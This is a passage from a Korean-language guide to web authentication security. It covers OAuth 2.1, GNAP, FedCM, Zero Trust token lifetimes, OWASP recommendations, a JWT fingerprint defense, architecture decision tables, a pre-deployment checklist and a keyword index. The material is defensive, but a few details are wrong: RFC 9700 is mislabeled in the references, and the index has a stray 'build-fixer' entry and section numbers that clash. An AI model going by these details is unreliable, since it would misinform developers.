│ │ PKCE 필수화 │ 모든 Authorization Code 흐름에 │ │
│ │ │ code_verifier/challenge 필수 │ │
│ ├──────────────────────────────┼────────────────────────────────────┤ │
│ │ Implicit Grant 제거 │ 프래그먼트에 토큰 노출 금지 │ │
│ │ │ (URL에 AT가 보이던 문제 해소) │ │
│ ├──────────────────────────────┼────────────────────────────────────┤ │
│ │ ROPC (Resource Owner │ 사용자 비밀번호를 클라이언트가 │ │
│ │ Password Credentials) 제거 │ 직접 다루는 것 금지 │ │
│ ├──────────────────────────────┼────────────────────────────────────┤ │
│ │ 정확한 Redirect URI 매칭 │ 와일드카드 redirect_uri 금지 │ │
│ │ │ 등록된 URI와 정확히 일치해야 함 │ │
│ ├──────────────────────────────┼────────────────────────────────────┤ │
│ │ Refresh Token 제한 │ Rotation 또는 Sender-Constraining │ │
│ │ │ 중 하나 필수 │ │
│ └──────────────────────────────┴────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
10.4 GNAP (RFC 9635)
┌─────────────────────────────────────────────────────────────────────────────┐
│ GNAP: Grant Negotiation and Authorization Protocol │
│ RFC 9635 (2024) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ "OAuth의 다음 세대" - OAuth 2.0의 근본적 재설계 │
│ │
│ OAuth 2.0 vs GNAP: │
│ ┌──────────────────────────────┬────────────────────────────────────┐ │
│ │ OAuth 2.0 │ GNAP │ │
│ ├──────────────────────────────┼────────────────────────────────────┤ │
│ │ 클라이언트 사전 등록 필수 │ 사전 등록 불필요 (동적) │ │
│ │ Redirect 기반 흐름 │ 다양한 상호작용 모드 │ │
│ │ Bearer Token (기본) │ 키 바인딩 내장 (DPoP 유사) │ │
│ │ scope 문자열 │ 구조화된 접근 권한 │ │
│ │ 단일 리소스 소유자 │ 복수 주체 지원 │ │
│ │ 확장으로 보안 추가 │ 보안이 기본 내장 │ │
│ └──────────────────────────────┴────────────────────────────────────┘ │
│ │
│ 채택 상태: 초기 단계 │
│ - 일부 선도 기업에서 실험적 구현 │
│ - OAuth 2.0/2.1 대체까지는 수년 소요 전망 │
│ - DPoP, PKCE 등 GNAP 아이디어가 OAuth 2.x에 역수입 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
10.5 FedCM API
┌─────────────────────────────────────────────────────────────────────────────┐
│ FedCM (Federated Credential Management) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 브라우저 네이티브 연합 로그인 API: │
│ - 서드파티 쿠키/리다이렉트 없이 SSO 구현 │
│ - 브라우저가 로그인 UI를 직접 렌더링 │
│ - 사용자 동의를 브라우저 수준에서 관리 │
│ │
│ 구현 예시: │
│ const credential = await navigator.credentials.get({ │
│ identity: { │
│ providers: [{ │
│ configURL: "https://accounts.google.com/gsi/fedcm.json", │
│ clientId: "your-client-id", │
│ }], │
│ }, │
│ }); │
│ // credential.token → ID Token 수신 │
│ │
│ 채택 현황: │
│ ├── Google: 2025년 8월부터 One Tap 로그인에 FedCM 필수 │
│ ├── Chrome/Edge: 완전 지원 │
│ ├── Firefox: 개발 중단 (표준 방향에 이견) │
│ └── Safari: 미지원 (자체 방식 선호) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
10.6 Zero Trust와 토큰 강화
┌─────────────────────────────────────────────────────────────────────────────┐
│ Zero Trust 인증 원칙 (2025-2026) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 핵심 원칙: "Trust nothing, verify everything" │
│ │
│ 1. Identity-as-Perimeter: │
│ ├── 네트워크 위치가 아닌 신원이 접근 제어의 기준 │
│ ├── VPN 내부라도 모든 요청에 인증/인가 필요 │
│ └── 매 요청마다 컨텍스트 기반 평가 (디바이스, 위치, 행동 등) │
│ │
│ 2. 단기 토큰 (Short-Lived Tokens): │
│ ├── AT 수명: 5-15분 (시간 단위가 아닌 분 단위) │
│ ├── 세션: 지속적 재검증 (Continuous Verification) │
│ └── 리스크 기반 동적 수명 조정 │
│ │
│ 3. 마이크로서비스 간 인증: │
│ ├── SPIFFE/SPIRE: 서비스 ID 표준 │
│ │ └── SVID (SPIFFE Verifiable Identity Document) │
│ ├── mTLS: 서비스 간 상호 인증 (Istio, Linkerd 자동 적용) │
│ └── Short-lived JWT: 서비스 간 요청에 수명 5분 이하 JWT │
│ │
│ 4. 2025 토큰 강화 트렌드: │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ AT 수명: 5-15분 (이전 1시간에서 단축) │ │
│ │ BFF: IETF 공식 표준으로 격상 │ │
│ │ DPoP: Public Client 토큰 바인딩 표준 │ │
│ │ mTLS: Service Mesh에서 자동화 │ │
│ │ Token Fingerprint: JWT에 디바이스 지문 포함 │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
10.7 브라우저 변화 요약
┌─────────────────────────────────────────────────────────────────────────────┐
│ 2025-2026 브라우저 보안 변화 │
├──────────────────────┬──────────────────────────────────────────────────────┤
│ 변화 │ 영향 │
├──────────────────────┼──────────────────────────────────────────────────────┤
│ CHIPS (Partitioned) │ 서드파티 쿠키를 파티션별 격리 │
│ Storage Access API │ 사용자 동의 후 크로스사이트 저장소 접근 │
│ Related Website Sets │ 관련 도메인 간 쿠키 공유 (한정적) │
│ __Http- 접두사 │ HttpOnly 속성을 이름 수준에서 강제 │
│ FedCM 필수화 │ Google One Tap이 FedCM 기반으로 전환 │
│ Schemeful Same-Site │ HTTP≠HTTPS, 모든 것을 HTTPS로 통일 필요 │
│ Private State Tokens │ 봇 vs 인간 구분용 익명 토큰 │
│ WebAuthn Level 3 │ Passkey 조건부 UI, 크로스 디바이스 인증 개선 │
└──────────────────────┴──────────────────────────────────────────────────────┘
11. OWASP 권장사항
11.1 OWASP Top 10:2025 - A07 Authentication Failures
┌─────────────────────────────────────────────────────────────────────────────┐
│ OWASP Top 10:2025 인증 관련 항목 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ A07:2025 - Authentication and Identification Failures │
│ (이전 A07:2021 - Identification and Authentication Failures) │
│ │
│ 주요 취약점: │
│ ├── 약한 비밀번호 허용 │
│ ├── Credential Stuffing 방어 미비 │
│ ├── 안전하지 않은 세션 관리 │
│ ├── 다중 인증(MFA) 미적용 │
│ ├── 세션 ID가 URL에 노출 │
│ └── 로그인 실패 시 과도한 정보 노출 │
│ │
│ 인증 관련 OWASP 권장사항 요약: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 1. 세션 관리 │ │
│ │ - HttpOnly + Secure + SameSite 쿠키 사용 │ │
│ │ - 세션 ID 최소 128비트 엔트로피 (64비트는 구 버전 최소치) │ │
│ │ - 로그인 성공 후 세션 ID 재생성 (Session Fixation 방어) │ │
│ │ - 로그아웃 시 서버 측 세션 즉시 무효화 │ │
│ │ - 비활성 타임아웃: 15-30분 권장 │ │
│ │ │ │
│ │ 2. JWT 관련 (OWASP JWT Cheat Sheet) │ │
│ │ - localStorage에 토큰 저장 금지 │ │
│ │ - sessionStorage 또는 Closure(in-memory) 사용 │ │
│ │ - Token Sidejacking 방어: JWT에 핑거프린트 포함 │ │
│ │ - alg:none 취약점 방어: 허용 알고리즘 화이트리스트 필수 │ │
│ │ - 토큰 수명 최소화 (5-15분 권장) │ │
│ │ │ │
│ │ 3. 비밀번호 정책 (NIST 정렬) │ │
│ │ - 주기적 비밀번호 변경 강제 금지 (비효과적) │ │
│ │ - 최소 8자, 최대 64자 이상 허용 │ │
│ │ - 유출된 비밀번호 DB 대조 (Have I Been Pwned API 등) │ │
│ │ - 비밀번호 복잡도 규칙보다 길이를 강조 │ │
│ │ │ │
│ │ 4. MFA / Passkey │ │
│ │ - Passkeys/FIDO2를 피싱 저항 MFA로 권장 │ │
│ │ - SMS OTP는 피싱 취약 → TOTP 또는 WebAuthn 권장 │ │
│ │ - 리커버리 코드 제공 필수 │ │
│ │ │ │
│ │ 5. Credential Stuffing 방어 │ │
│ │ - Rate Limiting (로그인 시도 횟수 제한) │ │
│ │ - 유출 비밀번호 확인 (breach password checking) │ │
│ │ - CAPTCHA (의심스러운 패턴 시) │ │
│ │ - Account Lockout (임시 잠금, 영구 잠금 주의) │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
11.2 Token Sidejacking 방어 (핑거프린트)
┌─────────────────────────────────────────────────────────────────────────────┐
│ Token Sidejacking 방어 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 문제: JWT가 탈취되면 다른 디바이스/브라우저에서 재사용 가능 │
│ │
│ OWASP 권장 해결책: JWT에 핑거프린트 포함 │
│ │
│ 1. 로그인 시 랜덤 핑거프린트 생성 │
│ 2. 핑거프린트의 SHA-256 해시를 JWT의 claim에 포함 │
│ 3. 핑거프린트 원본은 __Host-Fgp HttpOnly 쿠키로 설정 │
│ 4. API 요청 시 JWT의 해시와 쿠키의 해시를 비교 │
│ │
│ 구현 예시: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ // 로그인 시 │ │
│ │ const fingerprint = crypto.randomBytes(32).toString('hex'); │ │
│ │ const fingerprintHash = sha256(fingerprint); │ │
│ │ │ │
│ │ // JWT에 해시 포함 │ │
│ │ const jwt = signJwt({ │ │
│ │ sub: userId, │ │
│ │ fgp: fingerprintHash, // 핑거프린트 해시 │ │
│ │ }); │ │
│ │ │ │
│ │ // 핑거프린트 원본을 HttpOnly 쿠키로 설정 │ │
│ │ res.cookie('__Host-Fgp', fingerprint, { │ │
│ │ httpOnly: true, secure: true, sameSite: 'strict', path: '/' │ │
│ │ }); │ │
│ │ │ │
│ │ // API 검증 시 │ │
│ │ const jwtFgp = decodedToken.fgp; │ │
│ │ const cookieFgp = sha256(req.cookies['__Host-Fgp']); │ │
│ │ if (jwtFgp !== cookieFgp) throw new Error('Token mismatch!'); │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 효과: │
│ - JWT가 탈취되어도 HttpOnly 쿠키 없이는 사용 불가 │
│ - XSS로 JWT를 읽어도 HttpOnly 쿠키는 읽을 수 없음 │
│ - 사실상 DPoP의 간이 버전 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
12. 실전 아키텍처 결정 가이드
12.1 시나리오별 권장 아키텍처
┌──────────────────────────────────────────────────────────────────────────────────────────┐
│ 시나리오별 인증 아키텍처 결정 가이드 │
├─────────────────┬─────────────────┬───────────────────┬───────────────────────────────────┤
│ 시나리오 │ 추천 아키텍처 │ Access Token 저장 │ Refresh Token 저장 │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ SPA (고보안) │ BFF 패턴 │ 서버 사이드 │ 서버 사이드 (Redis) │
│ 금융, 의료, 공공 │ │ (Redis/Memory) │ │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ SPA (일반) │ Web Worker + │ Worker 메모리 │ HttpOnly 쿠키 │
│ B2C 서비스 │ HttpOnly RT │ │ (Rotation 필수) │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ SSR (Next.js │ BFF (내장) │ 서버 사이드 │ 서버 사이드 │
│ / Nuxt) │ │ │ │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ 전통 웹앱 │ HttpOnly 세션 │ HttpOnly 쿠키 │ 서버 사이드 │
│ (MPA) │ 쿠키 │ (또는 세션에 포함)│ (세션 DB에 저장) │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ 모바일 앱 │ OS Secure │ Keychain (iOS) │ Keychain (iOS) │
│ (iOS/Android) │ Storage │ KeyStore (Android)│ KeyStore (Android) │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ 마이크로서비스 │ mTLS + │ N/A │ N/A │
│ 간 통신 │ short-lived JWT │ (메모리, 캐시) │ (서비스 간 RT 불필요) │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ Open Banking │ DPoP + PKCE │ DPoP-bound JWT │ Sender-constrained │
│ / FAPI 2.0 │ │ (키 바인딩) │ (DPoP 또는 mTLS 바인딩) │
└─────────────────┴─────────────────┴───────────────────┴───────────────────────────────────┘
12.2 결정 트리
┌─────────────────────────────────────────────────────────────────────────────┐
│ 인증 아키텍처 결정 트리 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 서버 사이드 렌더링(SSR)을 사용하는가? │
│ ├── YES → BFF 패턴 (Next.js/Nuxt 내장 API Route 활용) │
│ │ 토큰은 서버에만 저장, 브라우저에는 HttpOnly 세션 쿠키 │
│ │ │
│ └── NO → SPA인가? │
│ ├── YES → 백엔드 서버를 두는가? │
│ │ ├── YES → BFF 패턴 (Express/Spring Gateway 등) │
│ │ │ │
│ │ └── NO (Static SPA) → │
│ │ 보안 요구 수준은? │
│ │ ├── 높음 (금융/의료) → BFF 필수 도입 │
│ │ │ │
│ │ └── 일반 → │
│ │ Web Worker (AT) + │
│ │ HttpOnly Cookie (RT) + │
│ │ PKCE + Rotation │
│ │ │
│ └── NO → 모바일 앱인가? │
│ ├── YES → OS Secure Storage + PKCE │
│ │ │
│ └── NO → 서비스 간 통신 │
│ → mTLS + Short-lived JWT │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
12.3 2025 Gold Standard SPA 아키텍처
┌─────────────────────────────────────────────────────────────────────────────┐
│ 2025 Gold Standard: SPA 인증 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 구성: │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ Access Token: 단기 JWT (5-15분), Web Worker 메모리에 저장 │ │
│ │ Refresh Token: Opaque, HttpOnly + Secure + SameSite=Strict 쿠키 │ │
│ │ CSRF 방어: SameSite=Strict + Custom Header 요구 │ │
│ │ OAuth Flow: Authorization Code + PKCE │ │
│ │ RT 보안: Rotation + Reuse Detection │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
│ 전체 흐름: │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ │ │ Web │ │ Auth │ │ API │ │
│ │ React │ msg │ Worker │ HTTP │ Server │ │ Server │ │
│ │ App │ ◄─────► │ │ ◄────► │ │ │ │ │
│ │ │ │ (토큰) │ │ │ │ │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
│ │
│ 1. 페이지 로드 │
│ → Worker 초기화 │
│ → Worker가 RT 쿠키로 새 AT 요청 (fetch + credentials: include) │
│ → AT를 Worker 메모리에 저장 │
│ │
│ 2. API 호출 │
│ → React: postMessage({type:'API', url:'/api/data'}) │
│ → Worker: Authorization: Bearer {AT} 헤더 추가 후 fetch │
│ → Worker: postMessage({type:'RESULT', data: ...}) │
│ → React: 응답 처리 (AT에 직접 접근하지 않음) │
│ │
│ 3. AT 만료 │
│ → Worker가 RT 쿠키로 자동 갱신 (사용자 무관여) │
│ → 새 AT를 Worker 메모리에 저장 │
│ → 서버: 새 RT 발급 + 기존 RT 무효화 (Rotation) │
│ │
│ 4. 로그아웃 │
│ → Worker: 서버에 RT 폐기 요청 │
│ → 서버: RT 무효화 + Set-Cookie 삭제 │
│ → Worker: AT 메모리 삭제 │
│ │
│ 보안 분석: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ XSS 공격 시: │ │
│ │ - AT를 읽을 수 없음 (Worker 격리) │ │
│ │ - RT를 읽을 수 없음 (HttpOnly 쿠키) │ │
│ │ - 인증된 fetch는 가능하지만 Worker를 통해서만 │ │
│ │ → CSP로 Worker 스크립트 소스 제한하면 추가 방어 │ │
│ │ │ │
│ │ CSRF 공격 시: │ │
│ │ - SameSite=Strict로 크로스사이트 쿠키 전송 차단 │ │
│ │ - Custom Header (X-Requested-With) 추가 검증 │ │
│ │ → CSRF 원천 차단 │ │
│ │ │ │
│ │ 토큰 탈취 시: │ │
│ │ - AT: 5-15분 내 자동 만료 │ │
│ │ - RT: 단일 사용, 재사용 시 가족 전체 무효화 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
12.4 보안 체크리스트
┌─────────────────────────────────────────────────────────────────────────────┐
│ 프로덕션 배포 전 인증 보안 체크리스트 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 쿠키 설정: │
│ [ ] HttpOnly 속성이 세션/토큰 쿠키에 설정되어 있는가? │
│ [ ] Secure 속성이 모든 인증 쿠키에 설정되어 있는가? │
│ [ ] SameSite=Strict 또는 Lax가 설정되어 있는가? │
│ [ ] __Host- 또는 __Secure- 접두사를 사용하고 있는가? │
│ [ ] 쿠키 Max-Age가 적절히 설정되어 있는가? │
│ │
│ 토큰 관리: │
│ [ ] AT 수명이 15분 이하인가? │
│ [ ] RT에 Rotation이 적용되어 있는가? │
│ [ ] 재사용 탐지(Reuse Detection)가 활성화되어 있는가? │
│ [ ] 로그아웃 시 서버 측 토큰이 즉시 무효화되는가? │
│ [ ] AT가 localStorage에 저장되어 있지 않은가? │
│ │
│ OAuth / OIDC: │
│ [ ] PKCE가 모든 Authorization Code 흐름에 적용되어 있는가? │
│ [ ] Implicit Grant가 비활성화되어 있는가? │
│ [ ] Redirect URI가 정확히 매칭되는가? (와일드카드 없음) │
│ [ ] aud claim이 검증되고 있는가? │
│ [ ] RS256 이상의 비대칭 서명을 사용하는가? │
│ │
│ 인프라: │
│ [ ] HTTPS가 모든 엔드포인트에 적용되어 있는가? │
│ [ ] HSTS 헤더가 설정되어 있는가? │
│ [ ] CSP (Content Security Policy)가 적용되어 있는가? │
│ [ ] Rate Limiting이 로그인/토큰 엔드포인트에 적용되어 있는가? │
│ [ ] 로그인 시도 실패 로그가 모니터링되고 있는가? │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
13. 키워드 색인
┌─────────────────────────────────────────────────────────────────────────────┐
│ 키워드 색인 (가나다/알파벳 순) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ [ㄱ-ㅎ] │
│ ───── │
│ 공개키 서명 ─────────────────── 4.3 JWT 서명 알고리즘 │
│ 그레이스 피리어드 ──────────── 6.4 네트워크 불안정 유예 기간 │
│ │
│ [A] │
│ Access Token ─────────────── 4.1 핵심 비교, 4.3 JWT 구조 │
│ ath (Access Token Hash) ──── 8.2 Step 4 API 요청 │
│ aud (Audience) ───────────── 4.3 aud 검증의 중요성 │
│ Auth0 SPA SDK ────────────── 9.4 Auth0 아키텍처 │
│ AWS Amplify v6 ───────────── 9.7 Cognito 저장 전략 │
│ AWS Cognito ──────────────── 9.7 Triple Token 구조 │
│ │
│ [B] │
│ Bearer Token ─────────────── 1. 용어 사전, 8.1 DPoP 비교 │
│ BFF (Backend-for-Frontend) ─ 7. 전체 섹션 │
│ build-fixer ──────────────── 7.4 Spring Cloud Gateway │
│ │
│ [C] │
│ CHIPS ────────────────────── 2.2 Partitioned 속성, 10.2 브라우저 변화 │
│ Clerk ────────────────────── 9.8 60초 JWT 하이브리드 │
│ Closure 패턴 ─────────────── 5.4 In-Memory 저장 │
│ Cookie Prefix ────────────── 2.3 쿠키 이름 접두사 │
│ Cookie Tossing ───────────── 2.3 __Host- 접두사, 9.2 GitHub │
│ CSRF ─────────────────────── 3.5 CSRF 방어 비교 테이블 │
│ Curity Token Handler ────── 7.6 OAuth Agent + Proxy 패턴 │
│ │
│ [D] │
│ Domain 속성 ──────────────── 2.2 Domain 속성 │
│ DPoP ─────────────────────── 8. 전체 섹션 │
│ DPoP Proof JWT ───────────── 8.2 Step 2-3 증명 생성 │
│ Duende BFF ───────────────── 7.7 .NET 엔터프라이즈 │
│ │
│ [E] │
│ EAS (Edge Auth Service) ──── 9.3 Netflix 아키텍처 │
│ ES256 ────────────────────── 4.3 서명 알고리즘 비교 │
│ eTLD+1 ───────────────────── 3.4 Same-Site 판단 기준 │
│ Expires vs Max-Age ───────── 2.2 쿠키 수명 설정 │
│ │
│ [F] │
│ FedCM ────────────────────── 10.5 브라우저 네이티브 로그인 │
│ FIDO2 ────────────────────── 10.1 Passkey / WebAuthn │
│ Fine-Grained PAT ─────────── 9.2 GitHub PAT │
│ Fingerprint (JWT) ────────── 11.2 Token Sidejacking 방어 │
│ │
│ [G] │
│ GitHub ───────────────────── 9.2 __Host- 쿠키, PAT │
│ GNAP ─────────────────────── 10.4 RFC 9635 차세대 인가 │
│ Gold Standard SPA ────────── 12.3 2025 권장 아키텍처 │
│ Google ───────────────────── 9.1 멀티 쿠키 시스템, SAPISIDHASH │
│ GoTrue ───────────────────── 9.9 Supabase 인증 엔진 │
│ Grace Period ─────────────── 6.4 네트워크 불안정 유예 │
│ │
│ [H] │
│ __Host- 접두사 ───────────── 2.3 쿠키 이름 접두사 │
│ __Host-Http- 접두사 ──────── 2.3 최대 보안 접두사 │
│ HttpOnly ─────────────────── 3. 전체 섹션 │
│ __Http- 접두사 ───────────── 2.3 Chrome 140+ 신규 │
│ HSTS ─────────────────────── 12.4 보안 체크리스트 │
│ │
│ [I] │
│ Implicit Grant ───────────── 10.3 OAuth 2.1에서 제거됨 │
│ In-Memory Token ──────────── 5.4 Closure 패턴 │
│ IndexedDB ────────────────── 8.2 DPoP 키 저장 │
│ │
│ [J] │
│ JWT ──────────────────────── 4.2 JWT vs Opaque 비교 │
│ jti (JWT ID) ─────────────── 4.3 재사용 방지용 고유 ID │
│ │
│ [K] │
│ Keycloak ─────────────────── 8.4 DPoP 지원 현황 │
│ │
│ [L] │
│ Lax+POST 유예 기간 ───────── 3.4 120초 보안 갭 │
│ localStorage ─────────────── 5.1 OWASP 사용 금지 │
│ │
│ [M] │
│ Max-Age ──────────────────── 2.2 Expires vs Max-Age │
│ mTLS ─────────────────────── 8.3 DPoP 대비 비교 │
│ │
│ [N] │
│ Netflix ──────────────────── 9.3 EAS + Passport 패턴 │
│ Next.js BFF ──────────────── 7.3 App Router 구현 │
│ nonce (DPoP) ─────────────── 8.2 서버 제공 일회용 값 │
│ │
│ [O] │
│ OAuth 2.1 ────────────────── 10.3 주요 변경사항 │
│ Okta ─────────────────────── 9.5 sid→idx 마이그레이션 │
│ Opaque Token ─────────────── 4.2 서버 측 조회 토큰 │
│ OWASP Top 10:2025 ────────── 11.1 A07 Authentication Failures │
│ │
│ [P] │
│ Partitioned ──────────────── 2.2 CHIPS 속성 │
│ Passkey ──────────────────── 10.1 대규모 채택 현황 │
│ Passport 패턴 ────────────── 9.3 Netflix 내부 인증 전파 │
│ Path 속성 ────────────────── 2.2 보안 경계가 아님 │
│ PKCE ─────────────────────── 10.3 OAuth 2.1 필수화 │
│ Private State Tokens ────── 10.2 봇 탐지용 │
│ Proof-of-Possession ────── 8.1 DPoP 개념 │
│ Prototype Pollution ────── 5.4 In-Memory 잔여 리스크 │
│ Public Suffix List ──────── 3.4 eTLD 정의 │
│ │
│ [R] │
│ Refresh Token ────────────── 4.1 핵심 비교 │
│ Refresh Token Rotation ──── 6. 전체 섹션 │
│ Related Website Sets ────── 10.7 브라우저 변화 │
│ Reuse Detection ──────────── 6.3 자동 재사용 탐지 │
│ RFC 6265 ─────────────────── 2.5 현행 쿠키 표준 │
│ RFC 6265bis ──────────────── 2.5 후속 드래프트 (2025) │
│ RFC 7519 ─────────────────── 4.3 JWT 표준 │
│ RFC 9449 ─────────────────── 8. DPoP 표준 │
│ RFC 9635 ─────────────────── 10.4 GNAP 표준 │
│ RFC 9700 ─────────────────── 6.5 브라우저 앱 OAuth 요구사항 │
│ RS256 ────────────────────── 4.3 권장 서명 알고리즘 │
│ │
│ [S] │
│ SameSite ─────────────────── 2.2 속성 설명, 3.4 진화 과정 │
│ SameSite=Lax ─────────────── 3.4 Chrome 80 기본값 │
│ SameSite=None ────────────── 2.2 Secure 필수 │
│ SameSite=Strict ──────────── 3.5 CSRF 완벽 차단 │
│ SAPISIDHASH ──────────────── 9.1 Google Origin 검증 │
│ Schemeful Same-Site ──────── 3.4 http≠https │
│ __Secure- 접두사 ─────────── 2.3 쿠키 이름 접두사 │
│ Secure 속성 ──────────────── 2.2 HTTPS 전용 │
│ Sender-Constrained Token ── 6.5 RFC 9700 요구 │
│ Service Worker ───────────── 5.6 네트워크 프록시 저장 │
│ Session Fixation ─────────── 1. 용어 사전 │
│ sessionStorage ───────────── 5.2 탭별 격리 │
│ Set-Cookie ───────────────── 2. 전체 섹션 │
│ Silent Authentication ────── 9.4 Auth0 비권장 전환 │
│ SPIFFE/SPIRE ─────────────── 10.6 서비스 ID 표준 │
│ Spotify ──────────────────── 9.6 Implicit Grant 제거 │
│ Spring Cloud Gateway ────── 7.4 TokenRelay 설정 │
│ Storage Access API ────────── 10.2 사용자 동의 기반 접근 │
│ Supabase ─────────────────── 9.9 GoTrue 기반 인증 │
│ │
│ [T] │
│ Token Family ─────────────── 6.2 토큰 계보 추적 │
│ Token Handler ────────────── 7.6 Curity 패턴 │
│ TokenRelay ───────────────── 7.4 Spring Cloud Gateway 필터 │
│ Token Rotation ───────────── 6.1 일회용 RT 메커니즘 │
│ Token Sidejacking ────────── 11.2 핑거프린트 방어 │
│ │
│ [W] │
│ Web Worker ───────────────── 5.5 최상위 권장 저장 전략 │
│ WebAuthn ─────────────────── 10.1 Level 3 (2026) │
│ WebCrypto API ────────────── 8.2 DPoP 키 생성 │
│ │
│ [X] │
│ XSS ──────────────────────── 3.3 HttpOnly 보호 범위 │
│ │
│ [Z] │
│ Zero Trust ───────────────── 10.6 Identity-as-Perimeter │
│ Zuul ─────────────────────── 9.3 Netflix Gateway │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
참고 문헌 및 표준
- RFC 6265: HTTP State Management Mechanism (2011)
- RFC 7519: JSON Web Token (2015)
- RFC 9449: OAuth 2.0 Demonstrating Proof of Possession (DPoP) (2023)
- RFC 9635: Grant Negotiation and Authorization Protocol (GNAP) (2024)
- RFC 9700: OAuth 2.0 for Browser-Based Applications (2025)
- draft-ietf-httpbis-rfc6265bis-22: Cookies (2025)
- draft-ietf-oauth-browser-based-apps-26: Browser-Based Apps (2025)
- OWASP Top 10:2025
- OWASP Session Management Cheat Sheet
- OWASP JWT Security Cheat Sheet
- Auth0 Token Best Practices (2025)
- Curity Token Handler Documentation